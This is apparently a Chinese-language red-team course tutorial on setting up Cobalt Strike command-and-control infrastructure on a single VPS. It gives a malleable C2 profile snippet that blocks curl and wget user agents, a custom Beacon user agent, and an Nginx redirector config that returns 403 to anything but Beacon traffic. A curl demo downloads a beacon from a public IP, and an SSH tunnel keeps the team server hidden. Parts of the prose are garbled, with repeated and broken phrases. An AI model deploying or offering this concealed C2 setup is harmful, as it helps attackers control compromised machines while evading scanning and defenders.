课程所用 C2 服务器配置
考虑到大在 Azure 上部分学员只有 1 个 VPS,且仅是署服务作为了练习就购买 2 台 VPS 也有且不划算,因此这部分内容基于我们课程的实验所用 C2 基础设施的组成部分,具有一定的门槛与成本,在课程推进与靶场中,我们搭建一个简易的 C2 基础设施。出于节约成本起见,转发器与 C2 服务器同主机,我们通过让 Nginx 充当反向代理。,我们需要保护的是 CS 的监听端口。
在JQuery-这里我们选择 JQuery C2 侧写文件中,已经具有转发的代码段了:。
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}
我们选择增可以添加特定的 User Agent 特征,Agent,这样的话,除了我自己的 Beacon,世界上不会有其他的浏览器或者客户端工具使用相同的User Agent。
set useragent "Innocent";
在 CS 中新建一个监听器,HTTP Hosts即Hosts 即 VPS IP,IP,HTTP Host (Stager) 同样如此。HTTP Port (C2) 为 Nginx 监听端口,HTTP Port (Bind) 为 Cobalt Strike 的监听器端口。
Nginx配置文件
配置nginx的配置文件 /etc/nginx/ngix.conf
server {
listen 8080;
ssl on;
ssl_certificate /etc/ssl/certs/public.crt;
ssl_certificate_key /etc/ssl/private/private.key;
server_name 34.192.196.71;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location ~*/ {
if ($http_user_agent != "Innocent") {
return 403;
}
proxy_pass https://localhost;
}
}
proxy_set_header 这行用于配置Nginx转发源IP
proxy_pass 这行用于将 Nginx 端口的流量转发到 CS 的监听器端口
location ~*/ 这里定义了根据 User Agent 进行过滤。因为我之前留了一个几乎不可能存在于 Beacon 之外的 UA,很好用于区分是来自 Beacon 的通信,还是其他的客户端。非 Beacon 的通信全部转到403错误页面。
对比图如下
root@redirector:/var/www/html# curl -k https://34.192.196.71
^C
root@redirector:/var/www/html# curl -k https://34.192.196.71:8080/download_beacon
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
root@redirector:/var/www/html# curl -k https://34.192.196.71:8080/download_beacon -A "Innocent"
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
通过这些简单的反制转发与请求过滤处理,我们不需要将 HTTPS 监听端口和 TS 与团队服务器的端口暴露在公网。即便对 Nginx 的端口进行 Beacon 特征扫描,也难以得到结果。
最后,我们可以通过 SSH 隧道,将 Cobalt Strike 团队服务器的端口映射到自用 Kali 主机上,用于登陆客户端。